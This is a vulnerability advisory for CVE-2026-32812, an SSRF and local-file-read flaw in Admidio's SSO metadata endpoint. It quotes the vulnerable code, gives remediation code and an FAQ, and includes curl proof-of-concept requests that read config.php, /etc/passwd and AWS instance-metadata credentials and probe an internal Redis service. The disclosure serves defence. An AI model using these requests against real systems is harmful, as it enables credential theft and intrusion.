CVE-2026-32812

The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34

$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo "Failed to fetch metadata";
    exit;
}

echo $metadata;

FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd"  <-- passes validation

php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash  <-- file contents returned

file:// Does Not Require allow_url_fopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///var/www/html/adm_my_files/config.php"

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=file:///etc/passwd"

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
  -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
  --data-urlencode "url=http://127.0.0.1:6379/"

(Probes a Redis instance on localhost.)

Fix 1: Restrict to HTTPS scheme and block internal IP ranges

$rawUrl = $_GET['url'] ?? '';

// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
    http_response_code(400);
    echo "Only HTTPS URLs are permitted";
    exit;
}

$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
    http_response_code(400);
    echo "Invalid URL";
    exit;
}

// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    http_response_code(400);
    echo "URL resolves to a private or reserved IP address";
    exit;
}

$metadata = file_get_contents($url);

Fix 2: Use cURL with explicit scheme restriction

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);

Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.

• Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files.
• Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.
• Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
• Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
• Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-32812 has a CVSS score of 6.8 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32812? CVE-2026-32812 is a medium-severity server-side request forgery (SSRF) vulnerability in admidio/admidio (composer), affecting versions >= 5.0.0, <= 5.0.6. It is fixed in 5.0.7. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-32812? CVE-2026-32812 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of admidio/admidio are affected by CVE-2026-32812? admidio/admidio (composer) versions >= 5.0.0, <= 5.0.6 is affected.
4. Is there a fix for CVE-2026-32812? Yes. CVE-2026-32812 is fixed in 5.0.7. Upgrade to this version or later.
5. Is CVE-2026-32812 exploitable, and should I be worried? Whether CVE-2026-32812 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32812 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32812? Upgrade admidio/admidio to 5.0.7 or later.